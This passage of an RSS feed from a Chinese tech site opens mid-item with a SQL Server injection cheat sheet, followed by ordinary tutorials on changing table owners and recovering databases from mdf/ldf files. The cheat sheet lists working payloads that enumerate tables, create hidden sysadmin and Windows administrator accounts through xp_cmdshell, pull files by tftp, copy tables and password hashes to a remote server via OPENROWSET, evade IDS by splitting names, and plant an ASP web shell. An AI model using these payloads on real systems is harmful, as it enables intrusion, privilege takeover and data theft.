1 name from bbs.dbo.syscolumns wh&#101;re id=18779569 and name not in<br/>(id,...)) 来暴出其他的字段<br/>and 0&lt;(sel&#101;ct user_blank&gt;_id from BBS.dbo.admin wh&#101;re username&gt;1) 可以得到用户名<br/>依次可以得到_blank&gt;密码。。。。。假设存在user_blank&gt;_id username ,password 等字段<br/><br/>and 0&lt;&gt;(sel&#101;ct count(*) from master.dbo.sysdatabases wh&#101;re name&gt;1 and dbid=6)<br/>and 0&lt;&gt;(sel&#101;ct top 1 name from bbs.dbo.sysobjects wh&#101;re xtype=U) 得到表名<br/>and 0&lt;&gt;(sel&#101;ct top 1 name from bbs.dbo.sysobjects wh&#101;re xtype=U and name not in(Address))<br/>and 0&lt;&gt;(sel&#101;ct count(*) from bbs.dbo.sysobjects wh&#101;re xtype=U and name=admin and uid&gt;(str(id))) 判断id值<br/>and 0&lt;&gt;(sel&#101;ct top 1 name from BBS.dbo.syscolumns wh&#101;re id=773577794) 所有字段<br/><br/>?id=-1 union sel&#101;ct 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin<br/>?id=-1 union sel&#101;ct 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)<br/><br/>得到WEB路径<br/>;cr&#101;ate table [dbo].[swap] ([swappass][char](255));--<br/>and (sel&#101;ct top 1 swappass from swap)=1--<br/>;Cr&#101;ate TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank&gt;_regread @rootkey=HKEY_blank&gt;_LOCAL_blank&gt;_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank&gt;_name=/, values=@test OUTPUT ins&#101;rt into paths(path) values(@test)--<br/>;use ku1;--<br/>;cr&#101;ate table cmd (str image);-- 建立image类型的表cmd<br/><br/>存在xp_blank&gt;_cmdshell的测试过程：<br/>;exec master..xp_blank&gt;_cmdshell dir<br/>;exec master.dbo.sp_blank&gt;_addlogin jiaoniang$;-- 加SQL帐号<br/>;exec master.dbo.sp_blank&gt;_password null,jiaoniang$,1866574;--<br/>;exec master.dbo.sp_blank&gt;_addsrvrolemember jiaoniang$ sysadmin;--<br/>;exec master.dbo.xp_blank&gt;_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--<br/>;exec master.dbo.xp_blank&gt;_cmdshell net localgroup administrators jiaoniang$ /add;--<br/>exec master..xp_blank&gt;_servicecontrol start, schedule 启动_blank&gt;服务<br/>exec master..xp_blank&gt;_servicecontrol start, server<br/>; DECLARE @shell INT EXEC SP_blank&gt;_OACr&#101;ate wscript.shell,@shell OUTPUT EXEC SP_blank&gt;_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add<br/>;DECLARE @shell INT EXEC SP_blank&gt;_OACr&#101;ate wscript.shell,@shell OUTPUT EXEC SP_blank&gt;_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add<br/>; exec master..xp_blank&gt;_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件<br/><br/>;declare @a sysname set @a=xp_blank&gt;_+cmdshell exec @a dir c:\<br/>;declare @a sysname set @a=xp+_blank&gt;_cm’+’dshell exec @a dir c:\<br/>;declare @a;set @a=db_blank&gt;_name();backup database @a to disk=你的IP你的共享目录bak.dat<br/>如果被限制则可以。<br/>sel&#101;ct * from openrowset(_blank&gt;sqloledb,server;sa;,sel&#101;ct OK! exec master.dbo.sp_blank&gt;_addlogin hax)<br/><br/>查询构造：<br/>Sel&#101;ct * FROM news Wh&#101;re id=... AND topic=... AND .....<br/>adminand 1=(sel&#101;ct count(*) from [user] wh&#101;re username=victim and right(left(userpass,01),1)=1) and userpass &lt;&gt;<br/>sel&#101;ct 123;--<br/>;use master;--<br/>:a o&#114; name like fff%;-- 显示有一个叫ffff的用户哈。<br/>and 1&lt;&gt;(sel&#101;ct count(email) from [user]);--<br/>;up&#100;ate [users] set email=(sel&#101;ct top 1 name from sysobjects wh&#101;re xtype=u and status&gt;0) wh&#101;re name=ffff;--<br/>;up&#100;ate [users] set email=(sel&#101;ct top 1 id from sysobjects wh&#101;re xtype=u and name=ad) wh&#101;re name=ffff;--<br/>;up&#100;ate [users] set email=(sel&#101;ct top 1 name from sysobjects wh&#101;re xtype=u and id&gt;581577110) wh&#101;re name=ffff;--<br/>;up&#100;ate [users] set email=(sel&#101;ct top 1 count(id) from password) wh&#101;re name=ffff;--<br/>;up&#100;ate [users] set email=(sel&#101;ct top 1 pwd from password wh&#101;re id=2) wh&#101;re name=ffff;--<br/>;up&#100;ate [users] set email=(sel&#101;ct top 1 name from password wh&#101;re id=2) wh&#101;re name=ffff;--<br/>上面的语句是得到_blank&gt;数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。<br/>通过查看ffff的用户资料可得第一个用表叫ad<br/>然后根据表名ad得到这个表的ID 得到第二个表的名字<br/><br/>ins&#101;rt into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--<br/>ins&#101;rt into users values( 667,123,123,0xffff)--<br/>ins&#101;rt into users values ( 123, admin--, password, 0xffff)--<br/>;and user&gt;0<br/>;and (sel&#101;ct count(*) from sysobjects)&gt;0<br/>;and (sel&#101;ct count(*) from mysysobjects)&gt;0 //为access_blank&gt;数据库<br/><br/>枚举出数据表名<br/>;up&#100;ate aaa set aaa=(sel&#101;ct top 1 name from sysobjects wh&#101;re xtype=u and status&gt;0);--<br/>这是将第一个表名更新到aaa的字段处。<br/>读出第一个表，第二个表可以这样读出来（在条件后加上 and name&lt;&gt;刚才得到的表名）。<br/>;up&#100;ate aaa set aaa=(sel&#101;ct top 1 name from sysobjects wh&#101;re xtype=u and status&gt;0 and name&lt;&gt;vote);--<br/>然后id=1552 and exists(sel&#101;ct * from aaa wh&#101;re aaa&gt;5)<br/>读出第二个表，一个个的读出，直到没有为止。<br/>读字段是这样：<br/>;up&#100;ate aaa set aaa=(sel&#101;ct top 1 col_blank&gt;_name(object_blank&gt;_id(表名),1));--<br/>然后id=152 and exists(sel&#101;ct * from aaa wh&#101;re aaa&gt;5)出错，得到字段名<br/>;up&#100;ate aaa set aaa=(sel&#101;ct top 1 col_blank&gt;_name(object_blank&gt;_id(表名),2));--<br/>然后id=152 and exists(sel&#101;ct * from aaa wh&#101;re aaa&gt;5)出错，得到字段名<br/><br/>[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]<br/>up&#100;ate 表名 set 字段=(sel&#101;ct top 1 name from sysobjects wh&#101;re xtype=u and status&gt;0 [ and name&lt;&gt;你得到的表名 查出一个加一个]) [ wh&#101;re 条件] sel&#101;ct top 1 name from sysobjects wh&#101;re xtype=u and status&gt;0 and name not in(table1,table2,…)<br/>通过SQLSERVER注入_blank&gt;漏洞建_blank&gt;数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]<br/><br/>[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]<br/>up&#100;ate 表名 set 字段=(sel&#101;ct top 1 col_blank&gt;_name(object_blank&gt;_id(要查询的数据表名),字段列如:1) [ wh&#101;re 条件]<br/><br/>绕过IDS的检测[使用变量]<br/>;declare @a sysname set @a=xp_blank&gt;_+cmdshell exec @a dir c:\<br/>;declare @a sysname set @a=xp+_blank&gt;_cm’+’dshell exec @a dir c:\<br/><br/>1、 开启远程_blank&gt;数据库<br/>基本语法<br/>sel&#101;ct * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, sel&#101;ct * from table1 )<br/>参数: (1) OLEDB Provider name<br/>2、 其中连接字符串参数可以是任何端口用来连接,比如<br/>sel&#101;ct * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, sel&#101;ct * from table<br/>3.复制目标主机的整个_blank&gt;数据库ins&#101;rt所有远程表到本地表。<br/><br/>基本语法：<br/>ins&#101;rt into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, sel&#101;ct * from table1) sel&#101;ct * from table2<br/>这行语句将目标主机上table2表中的所有数据复制到远程_blank&gt;数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：<br/>ins&#101;rt into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,sel&#101;ct * from table1) sel&#101;ct * from table2<br/>ins&#101;rt into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,sel&#101;ct * from _blank&gt;_sysdatabases)<br/>sel&#101;ct * from master.dbo.sysdatabases<br/>ins&#101;rt into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,sel&#101;ct * from _blank&gt;_sysobjects)<br/>sel&#101;ct * from user_blank&gt;_database.dbo.sysobjects<br/>ins&#101;rt into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,sel&#101;ct * from _blank&gt;_syscolumns)<br/>sel&#101;ct * from user_blank&gt;_database.dbo.syscolumns<br/>复制_blank&gt;数据库：<br/>ins&#101;rt into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,sel&#101;ct * from table1) sel&#101;ct * from database..table1<br/>ins&#101;rt into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,sel&#101;ct * from table2) sel&#101;ct * from database..table2<br/><br/>复制哈西表（HASH）登录_blank&gt;密码的hash存储于sysxlogins中。方法如下：<br/>ins&#101;rt into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,sel&#101;ct * from _blank&gt;_sysxlogins) sel&#101;ct * from database.dbo.sysxlogins<br/>得到hash之后，就可以进行暴力破解。<br/><br/>遍历目录的方法： 先创建一个临时表：temp<br/>;cr&#101;ate table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--<br/>;ins&#101;rt temp exec master.dbo.xp_blank&gt;_availablemedia;-- 获得当前所有驱动器<br/>;ins&#101;rt into temp(id) exec master.dbo.xp_blank&gt;_subdirs c:\;-- 获得子目录列表<br/>;ins&#101;rt into temp(id,num1) exec master.dbo.xp_blank&gt;_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中<br/>;ins&#101;rt into temp(id) exec master.dbo.xp_blank&gt;_cmdshell type c:\web\index.asp;-- 查看某个文件的内容<br/>;ins&#101;rt into temp(id) exec master.dbo.xp_blank&gt;_cmdshell dir c:\;--<br/>;ins&#101;rt into temp(id) exec master.dbo.xp_blank&gt;_cmdshell dir c:\ *.asp /s/a;--<br/>;ins&#101;rt into temp(id) exec master.dbo.xp_blank&gt;_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc<br/>;ins&#101;rt into temp(id,num1) exec master.dbo.xp_blank&gt;_dirtree c:\;-- （xp_blank&gt;_dirtree适用权限PUBLIC）<br/>写入表：<br/>语句1：and 1=(Sel&#101;ct IS_blank&gt;_SRVROLEMEMBER(sysadmin));--<br/>语句2：and 1=(Sel&#101;ct IS_blank&gt;_SRVROLEMEMBER(serveradmin));--<br/>语句3：and 1=(Sel&#101;ct IS_blank&gt;_SRVROLEMEMBER(setupadmin));--<br/>语句4：and 1=(Sel&#101;ct IS_blank&gt;_SRVROLEMEMBER(securityadmin));--<br/>语句5：and 1=(Sel&#101;ct IS_blank&gt;_SRVROLEMEMBER(securityadmin));--<br/>语句6：and 1=(Sel&#101;ct IS_blank&gt;_SRVROLEMEMBER(diskadmin));--<br/>语句7：and 1=(Sel&#101;ct IS_blank&gt;_SRVROLEMEMBER(bulkadmin));--<br/>语句8：and 1=(Sel&#101;ct IS_blank&gt;_SRVROLEMEMBER(bulkadmin));--<br/>语句9：and 1=(Sel&#101;ct IS_blank&gt;_MEMBER(db_blank&gt;_owner));--<br/><br/>把路径写到表中去：<br/>;cr&#101;ate table dirs(paths varchar(100), id int)--<br/>;ins&#101;rt dirs exec master.dbo.xp_blank&gt;_dirtree c:\--<br/>and 0&lt;&gt;(sel&#101;ct top 1 paths from dirs)--<br/>and 0&lt;&gt;(sel&#101;ct top 1 paths from dirs wh&#101;re paths not in(@Inetpub))--<br/>;cr&#101;ate table dirs1(paths varchar(100), id int)--<br/>;ins&#101;rt dirs exec master.dbo.xp_blank&gt;_dirtree e:\web--<br/>and 0&lt;&gt;(sel&#101;ct top 1 paths from dirs1)--<br/><br/>把_blank&gt;数据库备份到网页目录：下载<br/>;declare @a sysname; set @a=db_blank&gt;_name();backup database @a to disk=e:\web\down.bak;--<br/><br/>and 1=(Sel&#101;ct top 1 name from(Sel&#101;ct top 12 id,name from sysobjects wh&#101;re xtype=char(85)) T o&#114;der by id desc)<br/>and 1=(Sel&#101;ct Top 1 col_blank&gt;_name(object_blank&gt;_id(USER_blank&gt;_LOGIN),1) from sysobjects) 参看相关表。<br/>and 1=(sel&#101;ct user_blank&gt;_id from USER_blank&gt;_LOGIN)<br/>and 0=(sel&#101;ct user from USER_blank&gt;_LOGIN wh&#101;re user&gt;1)<br/><br/>-=- wscript.shell example -=-<br/>declare @o int<br/>exec sp_blank&gt;_oacr&#101;ate wscript.shell, @o out<br/>exec sp_blank&gt;_oamethod @o, run, NULL, notepad.exe<br/>; declare @o int exec sp_blank&gt;_oacr&#101;ate wscript.shell, @o out exec sp_blank&gt;_oamethod @o, run, NULL, notepad.exe--<br/><br/>declare @o int, @f int, @t int, @ret int<br/>declare @line varchar(8000)<br/>exec sp_blank&gt;_oacr&#101;ate scripting.filesystemobject, @o out<br/>exec sp_blank&gt;_oamethod @o, opentextfile, @f out, c:\boot.ini, 1<br/>exec @ret = sp_blank&gt;_oamethod @f, readline, @line out<br/>while( @ret = 0 )<br/>begin<br/>print @line<br/>exec @ret = sp_blank&gt;_oamethod @f, readline, @line out<br/>end<br/><br/>declare @o int, @f int, @t int, @ret int<br/>exec sp_blank&gt;_oacr&#101;ate scripting.filesystemobject, @o out<br/>exec sp_blank&gt;_oamethod @o, cr&#101;atetextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1<br/>exec @ret = sp_blank&gt;_oamethod @f, writeline, NULL,<br/>&lt;% set o = server.cr&#101;ateobject(&#34;wscript.shell&#34;): o.run( request.querystring(&#34;cmd&#34;) ) %&gt;<br/><br/>declare @o int, @ret int<br/>exec sp_blank&gt;_oacr&#101;ate speech.voicetext, @o out<br/>exec sp_blank&gt;_oamethod @o, register, NULL, foo, bar<br/>exec sp_blank&gt;_oasetproperty @o, speed, 150<br/>exec sp_blank&gt;_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528<br/>waitfor delay 00:00:05<br/><br/>; declare @o int, @ret int exec sp_blank&gt;_oacr&#101;ate speech.voicetext, @o out exec sp_blank&gt;_oamethod @o, register, NULL, foo, bar exec sp_blank&gt;_oasetproperty @o, speed, 150 exec sp_blank&gt;_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--<br/><br/>xp_blank&gt;_dirtree适用权限PUBLIC<br/>exec master.dbo.xp_blank&gt;_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。<br/>cr&#101;ate table dirs(paths varchar(100), id int)<br/>建表，这里建的表是和上面xp_blank&gt;_dirtree相关连，字段相等、类型相同。<br/>ins&#101;rt dirs exec master.dbo.xp_blank&gt;_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！ ]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2946.htm</link>
			<title><![CDATA[把sql server 2000的用户表的所有者改成dbo]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:09:39 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2946</guid>
		<description><![CDATA[怎么样把sql server 2000的用户表的所有者，改成dbo，而不是用户名。<br/>推荐使用下面介绍的第二种方法，执行以下查询便可以了。<br/>sp_configure &#39;allow up&#100;ates&#39;,&#39;1&#39;<br/>go<br/>reconfigure with override<br/>go<br/>up&#100;ate sysobjects set uid=1 wh&#101;re uid&lt;&gt;1<br/>go<br/>sp_configure &#39;allow up&#100;ates&#39;,&#39;0&#39;<br/>go<br/>reconfigure with override<br/>注意：上面的查询语句，只要使用一次，且也只能查询一次。<br/>在SQL2005下面构架所对应的概念就是架构，如果您使用的是SQL2005,请看这里SQL 2005 如何批量修改表和存储过程的架构<br/><br/>下面是各种把sql server 2000的用户表的所有者改成dbo方法的详细说明：<br/><br/>方法一：右键点击该表-》设计表，在上面的一排小图标中，点最后一个&#34;条件约束&#34;，点&#34;表&#34;页，在里面更改所有者。(若没有条件约束的小图标，可以点右键，能看到一个&#34;check约束&#34;的选项)<br/>附：<br/>--执行这个语句,就可以把当前库的所有表的所有者改为dbo<br/>exec sp_msforeachtable &#39;sp_changeobjectowner &#39;&#39;?&#39;&#39;, &#39;&#39;dbo&#39;&#39;&#39;<br/><br/>--如果是要用户表/存储过程/视图/触发器/自定义函数一齐改,则用游标(不要理会错误提示)<br/>declare tb cursor local for<br/>sel&#101;ct &#39;sp_changeobjectowner &#39;&#39;[&#39;+replace(user_name(uid),&#39;]&#39;,&#39;]]&#39;)+&#39;].[&#39;<br/>+replace(name,&#39;]&#39;,&#39;]]&#39;)+&#39;]&#39;&#39;,&#39;&#39;dbo&#39;&#39;&#39;<br/>from sysobjects<br/>wh&#101;re xtype in(&#39;U&#39;,&#39;V&#39;,&#39;P&#39;,&#39;TR&#39;,&#39;FN&#39;,&#39;IF&#39;,&#39;TF&#39;) and status&gt;=0<br/>open tb<br/>declare @s nvarchar(4000)<br/>fetch tb into @s<br/>while @@fetch_status=0<br/>begin<br/>exec(@s)<br/>fetch tb into @s<br/>end<br/>close tb<br/>deallocate tb<br/>go<br/><br/>存储过程 ChangeObjectOwner<br/><br/>--功能说明：成批更改数据库所有者的对象<br/>--作者：不详<br/>--用法：exec ChangeObjectOwner &#39;nmkspro&#39;,&#39;dbo&#39;<br/>--即可将所有nmkspro所有者的对象改为dbo所有<br/>--运行成功后将提示：&#34;注意: 更改对象名的任一部分都可能破坏脚本和存储过程。&#34;<br/>Cr&#101;ate PROCEDURE dbo.ChangeObjectOwner<br/>@OldOwner as NVARCHAR(128),--参数原所有者<br/>@NewOwner as NVARCHAR(128)--参数新所有者<br/>AS<br/><br/>DECLARE @Name as NVARCHAR(128)<br/>DECLARE @Owner as NVARCHAR(128)<br/>DECLARE @OwnerName as NVARCHAR(128)<br/><br/>DECLARE curObject CURSOR FOR<br/>sel&#101;ct &#39;Name&#39; = name,<br/>&#39;Owner&#39; = user_name(uid)<br/>from sysobjects<br/>wh&#101;re user_name(uid)=@OldOwner<br/>o&#114;der by name<br/><br/>OPEN curObject<br/>FETCH NEXT FROM curObject INTO @Name, @Owner<br/>WHILE(@@FETCH_STATUS=0)<br/>BEGIN<br/>if @Owner=@OldOwner<br/>begin<br/>set @OwnerName = @OldOwner + &#39;.&#39; + rtrim(@Name)<br/>exec sp_changeobjectowner @OwnerName, @NewOwner<br/>end<br/><br/>FETCH NEXT FROM curObject INTO @Name, @Owner<br/>END<br/><br/>close curObject<br/>deallocate curObject<br/>GO<br/><br/>方法二：利用脚本直接执行，用系统帐号或者超户登陆到该数据库，然后执行下面语句：<br/>sp_configure &#39;allow up&#100;ates&#39;,&#39;1&#39;<br/>go<br/>reconfigure with override<br/>go<br/>up&#100;ate sysobjects set uid=1 wh&#101;re uid&lt;&gt;1<br/>go<br/>sp_configure &#39;allow up&#100;ates&#39;,&#39;0&#39;<br/>go<br/>reconfigure with override<br/><br/>第二种方法只能使用一次，第二次使用会出错。<br/><br/>二、数据库恢复时出现诸如&#34;设备激活错误，请使用with move选项来标志该文件的有效位置&#34;报错的解决方法<br/><br/>别人将一个数据库备份发给了我，我为了看里面的表，所以我就在我机器里装一个MSSQL数据库。现在我想把保存的这个备份数据库 caiwu.db 导入到我的 MS SQL数据库中，发现在企业管理器中，操作：所有任务——&gt;还原数据库——&gt;选择&#34;从设备&#34;还原，在硬盘里找到了那个备份数据库文件 caiwu.db,导入。报错：设备激活错误，请使用with move选项来标志该文件的有效位置。<br/><br/>解决方法：右键点&#34;数据库&#34;（注意不是某个特定的数据库）－－》所有任务－－》还原数据库－－》选择&#34;从设备&#34;还原，选择要还原成的数据库名，然后在选项卡中，选择最现有数据库上强制还原数据库，然后在下面修改数据库还原后的物理路径，这个路径要是存在的一个路径，否则就会出现上面的错误，逻辑文件名可以不用改。<br/><br/>三、只有mdf和ldf文件，甚至只有mdf文件，如何恢复数据库<br/><br/>1. 首先确认已经备份了.mdf和.ldf文件。<br/>2. 在SQL Server中新建一个同名的数据库，然后停止SQL Server服务。<br/>3. 用原有的.mdf和.ldf文件覆盖新建数据库对应的.mdf和.ldf文件。<br/>4. 重新启动SQL Server服务，这是应该会看到这个数据库处于置疑（Suspect）状态。（人品好的话，这个时候数据库就已经恢复正常了，上次xrf的数据库就是这样被我恢复的。人品不好的话，下面的步骤也不行，我有一次就是找了一个北京做数据恢复的公司才恢复完毕。）<br/>5. 在SQL查询分析器中执行以下命令，以允许更新系统表：<br/>use master<br/>go<br/>sp_configure &#39;allow up&#100;ates&#39;,1<br/>reconfigure with override<br/>go<br/><br/>6. 将这个数据库置为紧急模式：<br/>up&#100;ate sysdatabases set status = 32768 wh&#101;re name = &#39;db_name&#39;<br/>go<br/><br/>7. 使用DBCC CHECKDB命令检查数据库中的错误：<br/>DBCC CHECKDB(&#39;db_name&#39;)<br/>go<br/><br/>8. 如果DBCC CHECKDB命令失败，请转至第10步，否则先将数据库置为单用户模式，再尝试对其进行修复：<br/>sp_dboption &#39;db_name&#39;,&#39;single user&#39;,&#39;true&#39;<br/>DBCC CHECKDB(&#39;db_name&#39;, REPAIR_ALLOW_DATA_LOSS)<br/>GO<br/><br/>如果在执行DBCC CHECKDB(&#39;db_name&#39;, REPAIR_ALLOW_DATA_LOSS)命令时提示说数据库未处于单用户模式状态的话，则重新启动SQL Server服务，然后继续尝试。<br/><br/>9. 如果DBCC CHECKDB(&#39;db_name&#39;, REPAIR_ALLOW_DATA_LOSS)命令失败，请转至第10步，否则若成功修复了数据库中的错误：<br/>重新执行DBCC CHECKDB(&#39;db_name&#39;)命令，确认数据库中已没有错误存在。<br/>清除数据库的置疑状态：sp_resetstatus &#39;db_name&#39;<br/>清除数据库的单用户模式状态：sp_dboption &#39;db_name&#39;,&#39;single user&#39;,&#39;false&#39;<br/>重新启动SQL Server服务，如果一切正常的话，则数据库已经成功恢复。<br/><br/>10. 如果以上步骤都不能解决问题的话，请参考附件中的文档尝试通过重建事务日志来恢复数据库中的数据。<br/>如果您只有MDF文件，问题就更加复杂一些，我们需要直接重建事务日志了:<br/><br/>1. 在SQL Server中新建一个同名的数据库，然后停止SQL Server服务。<br/>2. 用原有的ldf文件覆盖新建数据库对应的.mdf文件，将其日志文件（.ldf）删除。<br/>3. 启动SQL Server服务，并将数据库置为紧急模式（同上: 步骤5和步骤6）。<br/>4. 停止并重新启动SQL Server服务。<br/>5. 执行以下命令重建数据库日志文件：(下面是个示例，您要用您实际的数据库名)<br/>DBCC REBUILD_LOG（&#39;cas_db&#39;, &#39;D:\cas_db\cas_db_Log.LDF&#39;）<br/>6. 重新将该数据库置为单用户模式。(<a href="http://support.microsoft.com/?id=264154" target="_blank" rel="external">http://support.microsoft.com/?id=264154</a>)<br/>7. 再次尝试使用DBCC CHECKTABLE或DBCC CHECKDB命令检查并修复数据库中的错误]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2945.htm</link>
			<title><![CDATA[SQL数据库备份还原的几种方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Wed,21 Oct 2009 20:08:30 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2945</guid>
		<description><![CDATA[SQL Server数据库备份有两种方式，一种是使用BACKUP DATABASE将数据库文件备份出去，另外一种就是直接拷贝数据库文件mdf和日志文件ldf的方式。下面将主要讨论一下后者的备份与恢复。本文假定您能熟练使用SQL Server Enterprise Manager(SQL Server企业管理器)和SQL Server Quwey Analyser(SQL Server查询分析器)<br/>1、正常的备份、恢复方式<br/>正常方式下，我们要备份一个数据库，首先要先将该数据库从运行的数据服务器中断开，或者停掉整个数据库服务器，然后复制文件。<br/>卸下数据库的命令：Sp_detach_db 数据库名<br/>连接数据库的命令：Sp_attach_db或者sp_attach_single_file_db<br/>s_attach_db [@dbname =] ′dbname′, [@filename1 =] ′filename_n′ [,...16]<br/>sp_attach_single_file_db [@dbname =] ′dbname′, [@physname =] ′physical_name′<br/>使用此方法可以正确恢复SQL Sever7.0和SQL Server 2000的数据库文件，要点是备份的时候一定要将mdf和ldf两个文件都备份下来，mdf文件是数据库数据文件，ldf是数据库日志文件。<br/>例子：<br/>假设数据库为test，其数据文件为test_data.mdf，日志文件为test_log.ldf。下面我们讨论一下如何备份、恢复该数据库。<br/>卸下数据库：sp_detach_db &#39;test&#39;<br/>连接数据库：sp_attach_db &#39;test&#39;,&#39;C:\Program Files\Microsoft SQL Server\MSSQL\Data\test_data.mdf&#39;,&#39;C:\Program Files\Microsoft SQL Server\MSSQL\Data\test_log.ldf&#39;<br/>sp_attach_single_file_db &#39;test&#39;,&#39;C:\Program Files\Microsoft SQL Server\MSSQL\Data\test_data.mdf&#39;<br/>2、只有mdf文件的恢复技术<br/>由于种种原因，我们如果当时仅仅备份了mdf文件，那么恢复起来就是一件很麻烦的事情了。<br/>如果您的mdf文件是当前数据库产生的，那么很侥幸，也许你使用sp_attach_db或者sp_attach_single_file_db可以恢复数据库，但是会出现类似下面的提示信息<br/>设备激活错误。物理文件名 &#39;C:\Program Files\Microsoft SQL Server\MSSQL\data\test_Log.LDF&#39; 可能有误。<br/>已创建名为 &#39;C:\Program Files\Microsoft SQL Server\MSSQL\Data\test_log.LDF&#39; 的新日志文件。<br/>但是，如果您的数据库文件是从其他计算机上复制过来的，那么很不幸，也许上述办法就行不通了。你也许会得到类似下面的错误信息<br/>服务器: 消息 1813，级别 16，状态 2，行 1<br/>未能打开新数据库 &#39;test&#39;。Cr&#101;ate DATABASE 将终止。<br/>设备激活错误。物理文件名 &#39;d:\test_log.LDF&#39; 可能有误。<br/>怎么办呢？别着急，下面我们举例说明恢复办法。<br/>A．我们使用默认方式建立一个供恢复使用的数据库(如test)。可以在SQL Server Enterprise Manager里面建立。<br/>B．停掉数据库服务器。<br/>C．将刚才生成的数据库的日志文件test_log.ldf删除，用要恢复的数据库mdf文件覆盖刚才生成的数据库数据文件test_data.mdf。<br/>D．启动数据库服务器。此时会看到数据库test的状态为“置疑”。这时候不能对此数据库进行任何操作。<br/>E．设置数据库允许直接操作系统表。此操作可以在SQL Server Enterprise Manager里面选择数据库服务器，按右键，选择“属性”，在“服务器设置”页面中将“允许对系统目录直接修改”一项选中。也可以使用如下语句来实现。<br/>use master<br/>go<br/>sp_configure &#39;allow up&#100;ates&#39;,1<br/>go<br/>reconfigure with override<br/>go<br/>F．设置test为紧急修复模式<br/>up&#100;ate sysdatabases set status=-32768 wh&#101;re dbid=DB_ID(&#39;test&#39;)<br/>此时可以在SQL Server Enterprise Manager里面看到该数据库处于“只读\置疑\脱机\紧急模式”可以看到数据库里面的表，但是仅仅有系统表<br/>G．下面执行真正的恢复操作，重建数据库日志文件<br/>dbcc rebuild_log(&#39;test&#39;,&#39;C:\Program Files\Microsoft SQL Server\MSSQL\Data\test_log.ldf&#39;)<br/>执行过程中，如果遇到下列提示信息：<br/>服务器: 消息 5030，级别 16，状态 1，行 1<br/>未能排它地锁定数据库以执行该操作。<br/>DBCC 执行完毕。如果 DBCC 输出了错误信息，请与系统管理员联系。[brown][/i]<br/>说明您的其他程序正在使用该数据库，如果刚才您在F步骤中使用SQL Server Enterprise Manager打开了test库的系统表，那么退出SQL Server Enterprise Manager就可以了。<br/>正确执行完成的提示应该类似于：<br/>警告: 数据库 &#39;test&#39; 的日志已重建。已失去事务的一致性。应运行 DBCC CHECKDB 以验证物理一致性。将必须重置数据库选项，并且可能需要删除多余的日志文件。<br/>DBCC 执行完毕。如果 DBCC 输出了错误信息，请与系统管理员联系。<br/>此时打开在SQL Server Enterprise Manager里面会看到数据库的状态为“只供DBO使用”。此时可以访问数据库里面的用户表了。<br/>H．验证数据库一致性（可省略）<br/>dbcc checkdb(&#39;test&#39;)<br/>一般执行结果如下：<br/>CHECKDB 发现了 0 个分配错误和 0 个一致性错误（在数据库 &#39;test&#39; 中）。<br/>DBCC 执行完毕。如果 DBCC 输出了错误信息，请与系统管理员联系。<br/>I．设置数据库为正常状态<br/>sp_dboption &#39;test&#39;,&#39;dbo use only&#39;,&#39;false&#39;<br/>如果没有出错，那么恭喜，现在就可以正常的使用恢复后的数据库啦。<br/>J．最后一步，我们要将步骤E中设置的“允许对系统目录直接修改”一项恢复。因为平时直接操作系统表是一件比较危险的事情。当然，我们可以在SQL Server Enterprise Manager里面恢复，也可以使用如下语句完成<br/>sp_configure &#39;allow up&#100;ates&#39;,0<br/>go<br/>reconfigure with override<br/>go ]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2944.htm</link>
			<title><![CDATA[html操作本地数据库]]></title>
			<author>support@cnshark.net(admin)</author>
